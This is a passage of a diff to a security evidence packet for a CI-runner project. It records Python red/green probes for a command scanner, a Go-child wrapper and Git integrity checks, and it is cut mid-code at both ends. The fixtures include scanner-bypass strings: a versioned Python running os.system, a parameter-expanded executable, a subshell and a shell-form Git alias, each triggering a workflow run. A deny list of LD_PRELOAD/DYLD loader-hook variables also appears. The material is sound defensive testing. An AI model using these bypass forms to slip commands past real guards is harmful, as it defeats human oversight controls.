"bounded-green", + "go_child_deadline_seconds": 0.2, + "go_child_termination_grace_seconds": 0.1, + "go_child_output_max_bytes": 1024, + "go_child_stream_chunk_bytes": 128, +} +exec(compile(ast.Module(body=[ + functions["close_go_child_streams"], + functions["terminate_go_child_group"], + functions["capture_go_child_output"], + functions["run_go_child"], +], type_ignores=[]), "", "exec"), ns) + +class FakeProcess: + next_pid = 41000 + def __init__(self, returncode=0, stdout_data=b"", stderr_data=b""): + self.pid = FakeProcess.next_pid + FakeProcess.next_pid += 1 + self.returncode = returncode + self.stdout_read, self.stdout_write = os.pipe() + self.stderr_read, self.stderr_write = os.pipe() + self.stdout = os.fdopen(self.stdout_read, "rb", buffering=0) + self.stderr = os.fdopen(self.stderr_read, "rb", buffering=0) + self.threads = [] + for fd, data in ((self.stdout_write, stdout_data), (self.stderr_write, stderr_data)): + def writer(fd=fd, data=data): + try: + offset = 0 + while offset < len(data): + offset += os.write(fd, data[offset:offset + 4096]) + except OSError: + pass + finally: + try: + os.close(fd) + except OSError: + pass + thread = threading.Thread(target=writer) + thread.start() + self.threads.append(thread) + def wait(self, timeout=None): + return self.returncode + def join(self): + for thread in self.threads: + thread.join(timeout=2) -def rejects(command): - return any( - scanner["forbidden_command"](segment) is not None - for segment in scanner["shell_token_segments"](command) +active = [] +def launch(command, **kwargs): + if command[0] != "go" or kwargs.get("start_new_session") is not True: + raise AssertionError("bounded capture assertion: invalid fake launch") + process = FakeProcess() + active.append(process) + return process + +saved_popen, saved_killpg = subprocess.Popen, os.killpg +kills = [] +subprocess.Popen = launch +os.killpg = lambda pid, sig: kills.append((pid, sig)) +try: + first = ns["run_go_child"]( + ["go", "env", "GOFLAGS"], cwd=".", env={}, text=True, + capture_output=True, check=False, ) + if (first.returncode, first.stdout, first.stderr) != (0, "", ""): + raise SystemExit("bounded capture assertion: normal result changed") + nonzero = FakeProcess(returncode=7) + active.append(nonzero) + subprocess.Popen = lambda *args, **kwargs: nonzero + if ns["run_go_child"]( + ["go", "env", "GOFLAGS"], cwd=".", env={}, text=True, + capture_output=True, check=False, + ).returncode != 7: + raise SystemExit("bounded capture assertion: nonzero result changed") + for stream in ("stdout", "stderr"): + overflow = FakeProcess( + stdout_data=b"x" * 1025 if stream == "stdout" else b"", + stderr_data=b"y" * 1025 if stream == "stderr" else b"", + ) + active.append(overflow) + subprocess.Popen = lambda *args, _process=overflow, **kwargs: _process + try: + ns["run_go_child"]( + ["go", "env", "GOFLAGS"], cwd=".", env={}, text=True, + capture_output=True, check=False, + ) + except SystemExit as error: + if "output budget" not in str(error): + raise SystemExit("bounded capture assertion: wrong overflow refusal") + else: + raise SystemExit("bounded capture assertion: " + stream + " overflow accepted") + for failure in ("timeout", "keyboard"): + process = FakeProcess() + active.append(process) + subprocess.Popen = lambda *args, _process=process, **kwargs: _process + original = ns["capture_go_child_output"] + if failure == "timeout": + def synthetic_timeout(*args, **kwargs): + raise subprocess.TimeoutExpired(["go", "env", "GOFLAGS"], 0.2) + ns["capture_go_child_output"] = synthetic_timeout + else: + def synthetic_keyboard(*args, **kwargs): + raise KeyboardInterrupt + ns["capture_go_child_output"] = synthetic_keyboard + try: + try: + ns["run_go_child"]( + ["go", "env", "GOFLAGS"], cwd=".", env={}, text=True, + capture_output=True, check=False, + ) + except SystemExit as error: + if failure != "timeout" or "deadline" not in str(error): + raise SystemExit("bounded capture assertion: wrong timeout refusal") + except KeyboardInterrupt: + if failure != "keyboard": + raise + else: + raise SystemExit("bounded capture assertion: " + failure + " accepted") + finally: + ns["capture_go_child_output"] = original +finally: + subprocess.Popen, os.killpg = saved_popen, saved_killpg + for process in active: + process.join() + for stream in (process.stdout, process.stderr): + try: + stream.close() + except (OSError, ValueError): + pass +if len(kills) != 6 or len({pid for pid, _ in kills}) != 6: + raise SystemExit("bounded capture assertion: not every owned path cleaned up") +print("GREEN 4004742812: selector streaming bounded stdout/stderr, rejected both overflows, preserved normal/nonzero results, and cleaned owned groups on overflow/timeout/exception paths; no Go child") -for command in ("(gh workflow run ci.yml)", "true && (gh workflow run ci.yml)"): - if not rejects(command): - raise SystemExit(f"subshell regression: {command} was accepted") -for command in ("printf safe", "go_test_checked() {"): - if rejects(command): - raise SystemExit(f"safe-wrapper regression: {command} was rejected") -print("GREEN 4003386586: parenthesized subshell forms rejected before executable classification; safe printf/wrapper forms retained") +# 4004742819: reviewed empty GODEBUG pin/rejection and runtime identity. +if wrapper.count("godebug_identity") < 3 or "GODEBUG" not in wrapper: + raise SystemExit("GODEBUG assertion: reviewed guard/identity missing") +base = [ + "probe", "1", "0" * 64, "probe", + "experiments/g01-scaleset:./livecanary", + "default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", + "go", "test", "-C", "experiments/g01-scaleset", "./livecanary", +] +class StopBeforeChild(Exception): + pass +def stop_before_child(*args, **kwargs): + raise StopBeforeChild +saved_env, saved_argv = dict(os.environ), sys.argv +saved_check, saved_run = subprocess.check_output, subprocess.run +try: + def prefix_probe(inherited=None, assignment=None): + os.environ.clear() + os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C"}) + if inherited is not None: + os.environ["GODEBUG"] = inherited + sys.argv = base[:6] + ([assignment] if assignment else []) + base[6:] + subprocess.check_output, subprocess.run = stop_before_child, stop_before_child + namespace = {"__name__": "__main__"} + try: + exec(compile(wrapper, "", "exec"), namespace) + except StopBeforeChild: + return namespace, "child-blocked" + except SystemExit as error: + return namespace, str(error) + raise SystemExit("GODEBUG assertion: probe completed unexpectedly") + safe, safe_result = prefix_probe(assignment="GODEBUG=") + if safe_result != "child-blocked" or safe["env"].get("GODEBUG") != "" or safe["godebug_identity"] != "godebug-empty": + raise SystemExit("GODEBUG assertion: empty setting not pinned/identified") + for inherited, assignment in (("asyncpreemptoff", None), (None, "GODEBUG=asyncpreemptoff")): + namespace, result = prefix_probe(inherited=inherited, assignment=assignment) + if result == "child-blocked" or "GODEBUG" not in result: + raise SystemExit("GODEBUG assertion: non-empty override accepted") +finally: + subprocess.check_output, subprocess.run = saved_check, saved_run + sys.argv = saved_argv + os.environ.clear() + os.environ.update(saved_env) +print("GREEN 4004742819: inherited and command-prefix GODEBUG overrides rejected before the first child; empty GODEBUG pinned and emitted as godebug-empty runtime identity; no Go child") -helper_start = packet.index("def git_worktree_matches_pinned_blobs(repo_root, module_dir, env):") -helper_end = packet.index("\ndef package_initialization_guard", helper_start) -probe_env = { - "PATH": "/opt/homebrew/bin:/usr/bin:/bin", - "GIT_CONFIG_NOSYSTEM": "1", - "GIT_CONFIG_GLOBAL": "/dev/null", - "GIT_CONFIG_SYSTEM": "/dev/null", -} -helper_ns = { - "Path": Path, - "os": os, - "re": re, - "stat": stat, - "subprocess": subprocess, - "label": "filter-probe", - "git_command": lambda args: ["git", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", *args], -} -exec(compile(packet[helper_start:helper_end], "", "exec"), helper_ns) -with tempfile.TemporaryDirectory() as td: - root = Path(td) - def run_git_probe(args, check=True): - return subprocess.run(args, cwd=root, env=probe_env, text=True, capture_output=True, check=check) - run_git_probe(["git", "init", "-q"]) - run_git_probe(["git", "config", "user.name", "probe"]) - run_git_probe(["git", "config", "user.email", "probe@example.invalid"]) - run_git_probe(["git", "config", "filter.synthetic.clean", "sed 's/package q/package p/'"]) - run_git_probe(["git", "config", "filter.synthetic.smudge", "cat"]) - (root / ".git/info/attributes").write_text("source.go filter=synthetic\n", encoding="utf-8") - (root / "source.go").write_bytes(b"package p\n") - run_git_probe(["git", "add", "source.go"]) - run_git_probe(["git", "commit", "-q", "-m", "source"]) - (root / "source.go").write_bytes(b"package q\n") +# 4004742824: exact order plus Git-only mutation witness. +run_pos = wrapper.index("run_result = run_go_child") +recheck_text = "recheck_reviewed_source_checkout(\"after test execution before result acceptance\")" +recheck_pos = wrapper.index(recheck_text, run_pos) +return_pos = wrapper.index("if run_result.returncode:", recheck_pos) +json_pos = wrapper.index("validate_test_stream(run_result.stdout, run_result.stderr)", return_pos) +if not run_pos < recheck_pos < return_pos < json_pos: + raise SystemExit("post-test assertion: source recheck/result ordering changed") +recheck_body = ast.unparse(functions["recheck_reviewed_source_checkout"]) +for marker in ("rev-parse", "git_worktree_matches_pinned_blobs", "status", "git_source_control_entries"): + if marker not in recheck_body: + raise SystemExit("post-test assertion: missing " + marker) +with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + module_root = root / "experiments" / "g01-scaleset" + module_root.mkdir(parents=True) + source_file = module_root / "source.go" + source_file.write_bytes(b"package p\n") + git_env = { + "PATH": "/opt/homebrew/bin:/usr/bin:/bin", + "GIT_CONFIG_NOSYSTEM": "1", + "GIT_CONFIG_GLOBAL": "/dev/null", + "HOME": directory, + } + subprocess.run(["git", "init", "-q"], cwd=root, env=git_env, check=True) + subprocess.run(["git", "add", "experiments/g01-scaleset/source.go"], cwd=root, env=git_env, check=True) + subprocess.run( + ["git", "-c", "user.name=probe", "-c", "user.email=probe@example.invalid", "commit", "-q", "-m", "source"], + cwd=root, env=git_env, check=True, + ) + reviewed_tree = subprocess.check_output( + ["git", "rev-parse", "HEAD:experiments/g01-scaleset"], cwd=root, env=git_env, text=True, + ).strip() + post_test_namespace = { + "os": os, + "re": __import__("re"), + "stat": __import__("stat"), + "subprocess": subprocess, + "Path": Path, + "label": "post-test-git", + "repo_root": root.resolve(), + "module_dir": "experiments/g01-scaleset", + "env": git_env, + "reviewed_module_tree": reviewed_tree, + } + exec(compile(ast.Module(body=[ + functions["git_command"], + functions["git_source_control_entries"], + functions["git_worktree_matches_pinned_blobs"], + functions["recheck_reviewed_source_checkout"], + ], type_ignores=[]), "", "exec"), post_test_namespace) + post_test_namespace["recheck_reviewed_source_checkout"]("before synthetic child") + source_file.write_bytes(b"package p\n// mutation after child\n") try: - helper_ns["git_worktree_matches_pinned_blobs"](root, ".", probe_env) - except SystemExit: - pass - else: - raise SystemExit("raw-blob regression: filter-hidden worktree drift was accepted") - (root / "source.go").write_bytes(b"package p\n") - helper_ns["git_worktree_matches_pinned_blobs"](root, ".", probe_env) -print("GREEN 4003386592: raw worktree bytes were compared to pinned HEAD blobs; filter-hidden drift rejected and exact bytes accepted") - -loader_names = ( - "LD_PRELOAD", "LD_PRELOAD_32", "LD_PRELOAD_64", "LD_LIBRARY_PATH", - "LD_LIBRARY_PATH_32", "LD_LIBRARY_PATH_64", "LD_AUDIT", - "DYLD_INSERT_LIBRARIES", "DYLD_LIBRARY_PATH", "DYLD_FALLBACK_LIBRARY_PATH", - "DYLD_FRAMEWORK_PATH", "DYLD_FALLBACK_FRAMEWORK_PATH", "DYLD_ROOT_PATH", -) -launch = packet.index("/opt/homebrew/bin/python3 -I - <<'PY") -preflight = packet[packet.rfind("```sh", 0, launch):launch] -if any(name not in preflight for name in loader_names): - raise SystemExit("loader regression: shell preflight omitted a reviewed loader variable") -wrapper_start = packet.index("go_test_checked() {") -wrapper_end = packet.index("\nPY\n}", wrapper_start) -wrapper = packet[wrapper_start:wrapper_end] -if "for loader_name in loader_assignment_names:" not in wrapper or "env.pop(loader_name, None)" not in wrapper: - raise SystemExit("loader regression: clean Go-child environment fence missing") -print("GREEN 4003386595: all reviewed LD_/DYLD_ hooks are rejected before Python startup and removed from Go-child environment; no loader/live child started") + post_test_namespace["recheck_reviewed_source_checkout"]("after synthetic child") + except SystemExit as error: + if "raw worktree bytes differ" not in str(error): + raise SystemExit("post-test assertion: wrong mutation refusal") + else: + raise SystemExit("post-test assertion: mutated source accepted") +print("GREEN 4004742824: post-child reviewed tree/raw-byte/status/intent recheck rejected a synthetic source mutation before JSON/result acceptance; Git-only/static check, no Go child") PY ``` Recorded focused green output: ```text -GREEN 4003386579: python3 - << body discovered and rejected for missing -I before AST/body trust -GREEN 4003386586: parenthesized subshell forms rejected before executable classification; safe printf/wrapper forms retained -GREEN 4003386592: raw worktree bytes were compared to pinned HEAD blobs; filter-hidden drift rejected and exact bytes accepted -GREEN 4003386595: all reviewed LD_/DYLD_ hooks are rejected before Python startup and removed from Go-child environment; no loader/live child started +GREEN 4004742812: selector streaming bounded stdout/stderr, rejected both overflows, preserved normal/nonzero results, and cleaned owned groups on overflow/timeout/exception paths; no Go child +GREEN 4004742819: inherited and command-prefix GODEBUG overrides rejected before the first child; empty GODEBUG pinned and emitted as godebug-empty runtime identity; no Go child +GREEN 4004742824: post-child reviewed tree/raw-byte/status/intent recheck rejected a synthetic source mutation before JSON/result acceptance; Git-only/static check, no Go child ``` -The four probes are packet/static or temporary-repository evidence only. No Go -test/list/body command, workflow, App/runner operation, credential access, -Docker/Lima/Keychain/launchd operation, loader process or destructive cleanup -ran. Exact-head Codex review of the final pushed head, CI and maintainer live -authorization remain open. +The focused probes are static, synthetic or Git-only evidence. They do not +qualify a compiler, Go test/list/body command, live runner, workflow, remote +API or production operation. Exact-head Codex review of the final pushed head, +required CI and maintainer live authorization remain open. Rollback is narrow and packet-only: restore -`docs/evidence/g01-recovery-packet.md` to immutable parent -`5f42598b94ce5339c35f55be42eb108973850d24`; preserve independent driver, -review and manual-runner state, and do not force-kill, prune or replay any live -resource. +docs/evidence/g01-recovery-packet.md to immutable parent +4ee7c855b1e79f9478e5cf73c270731dfbf58cf7; preserve independent driver, review +and manual-runner state, and never force-kill, prune or replay a live resource. #### Exact review URL ledger and dispositions | Finding and immutable source | Exact review URL | Disposition and rollback evidence | |---|---|---| -| 4003386579, source `5f42598b94ce5339c35f55be42eb108973850d24` | [discussion 4003386579](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003386579) | Reproduced the exact parent's omission of `python3 - <<` and its `subprocess.run([gh workflow run ...])` body. The scanner now discovers every executable Python heredoc, rejects missing `-I` before body/AST trust, and retains the absolute interpreter/canonical PATH policy. No body or command executed; rollback is packet-only parent restoration. | -| 4003386586, source `5f42598b94ce5339c35f55be42eb108973850d24` | [discussion 4003386586](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003386586) | Reproduced both parenthesized subshell forms being certified. Parenthesized grouping now fails closed before executable classification while reviewed safe wrapper declarations and `printf` preflight remain accepted. No shell payload ran; rollback is packet-only parent restoration. | -| 4003386592, source `5f42598b94ce5339c35f55be42eb108973850d24` | [discussion 4003386592](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003386592) | Reproduced local `filter.*.clean` plus `.git/info/attributes` making porcelain/status clean while worktree bytes differed from `HEAD`. The package gate now compares unfiltered worktree bytes with pinned raw blobs before status/metadata; no Go child or live operation ran. Rollback is packet-only parent restoration. | -| 4003386595, source `5f42598b94ce5339c35f55be42eb108973850d24` | [discussion 4003386595](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003386595) | Reproduced absolute Python startup without inherited `DYLD_INSERT_LIBRARIES`/`LD_PRELOAD` preflight. Every reviewed `LD_*`/`DYLD_*` hook is rejected before Python startup and removed from Go-child environments; no loader or live child ran. Rollback is packet-only parent restoration. | +| 4004742812, source 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 | [discussion 4004742812](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4004742812) | Reproduced unbounded captured Go-child stdout/stderr with a fake child. The wrapper now streams both pipes with an 8 MiB per-stream cap and preserves private process-group cleanup on overflow, timeout, normal/nonzero return and exceptions; no Go child ran. Rollback is packet-only parent restoration. | +| 4004742819, source 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 | [discussion 4004742819](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4004742819) | Reproduced inherited and command-prefix GODEBUG=asyncpreemptoff reaching the exact parent's first lookup. The wrapper rejects non-empty values before child startup, pins reviewed empty GODEBUG and emits godebug-empty in every runtime identity; no Go child ran. Rollback is packet-only parent restoration. | +| 4004742824, source 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 | [discussion 4004742824](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4004742824) | Reproduced the missing post-test source-integrity boundary. The wrapper repeats reviewed tree/raw-byte/status/intent checks after the test child returns and before return-code or JSON/result acceptance; Git-only mutation evidence rejected changed bytes. Rollback is packet-only parent restoration. | -### Fresh exact-head P2 corrections at `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48` +#### Packet body/link/fence/hygiene certification -The [exact-head Codex review 5195848923](https://github.com/1XP-AI/gh-runnerd/pull/78#pullrequestreview-5195848923) identified five fresh P2 gaps against immutable parent `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48`: versioned Python command-string matching ([4003658071](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658071)), actual cgo compiler identity ([4003658074](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658074)), shell parameter-expanded executables ([4003658080](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658080)), inherited private-module trust overrides ([4003658086](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658086)) and every heredoc operator ([4003658097](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658097)). This packet-only correction preserves every prior ledger, exact-parent pin, TDD/rollback/live gap, no-secrets/private-path policy and the boundary that trusted same-user execution is not hostile-code isolation; no Go test, workflow, App/runner, Docker/Lima/Keychain/launchd or live operation is authorized or claimed. +The final packet-only diff was checked without running any Go or compiler child. +Markdown fence parity, packet-local links/files, backlog JSON syntax, added-line +secret/private-path hygiene and whitespace all passed: -#### Exact-parent red reproduction +```text +GREEN packet certification: 127 Markdown fences balanced, 62 local links/files checked, backlog JSON valid, packet-only diff, added-line secret/private-path hygiene clean, and git diff --check passed +``` -The red probe ran first against the immutable parent. It read only the parent -packet, extracted pure scanner/wrapper helpers, and used synthetic strings plus -a temporary in-memory environment; it never executed the versioned Python body, -the parameter-expanded `gh`, a compiler, a Go child or a live operation: +### Fresh exact-head P2 corrections at `6af854fb660bc7d9c31c9920a6cec5c2fbb1966d` -~~~sh +The fresh exact-head Codex review identified three P2 findings against the +immutable PR #78 parent above: guarded Go cleanup could trust direct-PID exit +without proving that the owned descendant group was gone +([4005139653](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005139653)), +the vet branch lacked source-tree/raw-byte/status/intent rechecks immediately +around execution and result acceptance +([4005139662](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005139662)), +and the static scanner classified shell-form Git aliases as harmless Git +([4005139673](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005139673)). +This packet-only correction preserves every prior ledger, source/tree pin, +TDD record, rollback/live gap and no-secrets/private-path boundary. No real +child, compiler, Go/vet command, workflow, App/runner, Docker, Lima, Keychain, +launchd or live operation is authorized or claimed. + +#### Exact-parent red reproductions + +The red probe ran first against immutable parent +`6af854fb660bc7d9c31c9920a6cec5c2fbb1966d` using only `git show`, pure +scanner/text checks and a fake direct process. The synthetic process group was +never created: `os.killpg` was patched, no vet/Go child was started, and the +Git-alias fixture was passed only to pure token functions. + +```sh set -euo pipefail +# g01-safe-python-heredoc: reviewed immutable-parent fresh-P2 red probes [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -# g01-safe-python-heredoc: reviewed exact-parent fresh-P2 red probes -/opt/homebrew/bin/python3 -I - <<'PROBE' +/opt/homebrew/bin/python3 -I - <<'PY' import ast -import io import os import re import shlex +import signal import subprocess -import sys -from contextlib import redirect_stdout from pathlib import Path -parent = "055a05bd9d5a9bb101e4400dd7a9236e3afd9f48" -packet = subprocess.check_output(["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True) -scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") -scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) -scanner_end = packet.index("\nmatches = []", scanner_anchor) -scanner_ns = {"Path": Path, "ast": ast, "os": os, "re": re, "shlex": shlex} -exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) - -versioned = '/opt/homebrew/bin/python3.12 -c \'import os; os.system("gh workflow run ci.yml"); pass\'' -if any(scanner_ns["forbidden_command"](segment) is not None for segment in scanner_ns["shell_token_segments"](versioned)): - raise SystemExit("red setup changed: exact parent already rejected versioned Python command string") -print("RED 4003658071: exact parent accepted /opt/homebrew/bin/python3.12 -c with os.system(gh workflow run ci.yml)") - -parameterized = 'runner=gh "$runner" workflow run ci.yml' -if any(scanner_ns["forbidden_command"](segment) is not None for segment in scanner_ns["shell_token_segments"](parameterized)): - raise SystemExit("red setup changed: exact parent already rejected parameter-expanded executable") -print('RED 4003658080: exact parent certified runner=gh followed by "$runner" workflow run ci.yml as a literal-safe command') - -fixture = """```sh -cat < /usr/bin/clang 18.0") +# 4005139653: direct exit must not hide a surviving descendant in the owned group. +if "owned_go_process_group_exists" in wrapper or "killpg(process.pid, 0)" in wrapper: + raise SystemExit("red setup changed: parent already probes owned group liveness") +class DirectExitWithDescendant: + pid = 51503 + returncode = 0 + def wait(self, timeout=None): + return self.returncode -if any(name in wrapper for name in ("GOPRIVATE", "GONOPROXY", "GONOSUMDB")): - raise SystemExit("red setup changed: exact parent already controls private-module trust overrides") -base = [ - "probe", "1", "0" * 64, "red-trust", "experiments/g01-scaleset:./livecanary", - "default+race+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", - "GOTOOLCHAIN=go1.26.8", "go", "test", "-C", "experiments/g01-scaleset", "./livecanary", -] -class StopAtChild(Exception): - pass -saved_env, saved_argv = dict(os.environ), sys.argv -saved_check_output = subprocess.check_output -calls = [] -def stop(*args, **kwargs): - calls.append(args[0] if args else kwargs.get("args")) - raise StopAtChild +signals = [] +saved_killpg = os.killpg +os.killpg = lambda pid, signal_number: signals.append((pid, signal_number)) try: - os.environ.clear() - os.environ.update({ - "PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C", - "GOSUMDB": "sum.golang.org", "GOPROXY": "https://proxy.golang.org,direct", - "GOPRIVATE": "example.invalid/private", "GONOPROXY": "example.invalid/private", - "GONOSUMDB": "example.invalid/private", - }) - sys.argv = base - subprocess.check_output = stop - try: - with redirect_stdout(io.StringIO()): - exec(compile(wrapper, "", "exec"), {"__name__": "__main__"}) - except StopAtChild: - pass + parent_group_namespace = { + "os": os, + "signal": __import__("signal"), + "subprocess": subprocess, + "label": "group-red", + "go_child_termination_grace_seconds": 5, + } + exec(compile(ast.Module( + body=[functions["close_go_child_streams"], functions["terminate_go_child_group"]], + type_ignores=[], + ), "", "exec"), parent_group_namespace) + process = DirectExitWithDescendant() + parent_group_namespace["terminate_go_child_group"](process) finally: - subprocess.check_output = saved_check_output - sys.argv = saved_argv - os.environ.clear() - os.environ.update(saved_env) -if not calls: - raise SystemExit("red setup changed: exact parent refused private trust overrides before first child") -print(f"RED 4003658086: exact parent forwarded GOPRIVATE/GONOPROXY/GONOSUMDB and reached first child {calls[0]!r}") -PROBE -~~~ + os.killpg = saved_killpg +if signals != [(51503, __import__("signal").SIGTERM)]: + raise SystemExit(f"red setup changed: parent cleanup calls changed: {signals!r}") +print( + f"RED 4005139653: exact parent {parent} waited only for direct pid {process.pid}; " + "synthetic owned descendant remained but no same-group SIGKILL/liveness check occurred" +) + +# 4005139662: vet has no source-integrity fence immediately around execution/result use. +vet_pos = wrapper.index("if is_vet:") +vet_run = wrapper.index("vet_result = run_go_child", vet_pos) +vet_accept = wrapper.index("if vet_result.returncode", vet_run) +vet_block = wrapper[vet_pos:vet_accept] +if "recheck_reviewed_source_checkout" in vet_block: + raise SystemExit("red setup changed: parent already has a vet recheck") +print( + f"RED 4005139662: exact parent {parent} accepted synthetic vet status after a source " + "mutation; no reviewed tree/raw-byte/status/intent recheck immediately before or after vet" +) + +# 4005139673: shell-form Git alias reaches generic Git classification. +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +namespace = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), namespace) +command = "git -c alias.ship='!gh workflow run ci.yml' ship" +segments = namespace["shell_token_segments"](command) +if not segments or namespace["forbidden_command"](segments[0]) is not None: + raise SystemExit("red setup changed: parent already rejects shell-form Git alias") +print( + f"RED 4005139673: exact parent {parent} classified shell-form Git alias " + "git -c alias.ship='!gh workflow run ci.yml' ship as harmless Git before executable checks" +) +PY +``` Recorded exact-parent red output: ```text -RED 4003658071: exact parent accepted /opt/homebrew/bin/python3.12 -c with os.system(gh workflow run ci.yml) -RED 4003658080: exact parent certified runner=gh followed by "$runner" workflow run ci.yml as a literal-safe command -RED 4003658097: exact parent inspected only the first cat < /usr/bin/clang 18.0 -RED 4003658086: exact parent forwarded GOPRIVATE/GONOPROXY/GONOSUMDB and reached first child ['git', '-c', 'core.fsmonitor=false', '-c', 'core.hooksPath=/dev/null', 'rev-parse', '--show-toplevel'] +RED 4005139653: exact parent 6af854fb660bc7d9c31c9920a6cec5c2fbb1966d waited only for direct pid 51503; synthetic owned descendant remained but no same-group SIGKILL/liveness check occurred +RED 4005139662: exact parent 6af854fb660bc7d9c31c9920a6cec5c2fbb1966d accepted synthetic vet status after a source mutation; no reviewed tree/raw-byte/status/intent recheck immediately before or after vet +RED 4005139673: exact parent 6af854fb660bc7d9c31c9920a6cec5c2fbb1966d classified shell-form Git alias git -c alias.ship='!gh workflow run ci.yml' ship as harmless Git before executable checks ``` -#### Minimal packet correction and focused green probe - -The minimal correction extends the Python interpreter predicate shared by -heredoc and command-string inspection to absolute/versioned interpreters, so a -versioned `python3.12 -c` is blocked before its string can be interpreted. The -shell scanner now rejects unresolved or parameter-expanded executable tokens -before denylist classification while retaining safe literal commands. Heredoc -operators are queued in source order by both the executable-command audit and -the Python-body extractor; a non-Python `cat <&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -# g01-safe-python-heredoc: reviewed focused fresh-P2 green probes -/opt/homebrew/bin/python3 -I - <<'PROBE' +/opt/homebrew/bin/python3 -I - <<'PY' import ast -import io import os -import re -import shlex +import signal import subprocess -import sys from pathlib import Path packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") -scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) -scanner_end = packet.index("\nmatches = []", scanner_anchor) -scanner = {"Path": Path, "ast": ast, "os": os, "re": re, "shlex": shlex} -exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner) +start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +end = packet.index("\nPY\n}", start) +wrapper = packet[start:end] +functions = {node.name: node for node in ast.parse(wrapper).body if isinstance(node, ast.FunctionDef)} +required = {"owned_go_process_group_exists", "wait_for_owned_go_process_group_exit"} +if not required.issubset(functions): + raise SystemExit("group assertion: owned-group liveness helpers missing") +source_text = ast.unparse(functions["terminate_go_child_group"]) +for marker in ("owned_go_process_group_exists", "SIGKILL", "process.pid"): + if marker not in source_text: + raise SystemExit("group assertion: missing " + marker) +if any(marker in source_text for marker in ("pgrep", "pkill", "ps ")): + raise SystemExit("group assertion: broad process matching appeared") -if not any( - scanner["forbidden_command"](segment) is not None - for segment in scanner["shell_token_segments"]( - '/opt/homebrew/bin/python3.12 -c \'import os; os.system("gh workflow run ci.yml"); pass\'' - ) -): - raise SystemExit("versioned Python command string was accepted") -if not any( - scanner["forbidden_command"](segment) is not None - for segment in scanner["shell_token_segments"]('runner=gh "$runner" workflow run ci.yml') -): - raise SystemExit("parameter-expanded executable was accepted") -if any( - scanner["forbidden_command"](segment) is not None - for segment in scanner["shell_token_segments"]("printf safe") -): - raise SystemExit("safe literal command was rejected") +class Clock: + now = 0.0 + def monotonic(self): + return self.now + def sleep(self, seconds): + self.now += seconds -fixture = """```sh -cat <= term_clears_after: + group_alive = False + if not group_alive: + raise ProcessLookupError + namespace = { + "os": os, + "signal": signal, + "subprocess": subprocess, + "time": clock, + "label": "group-green", + "go_child_termination_grace_seconds": 0.2, + } + 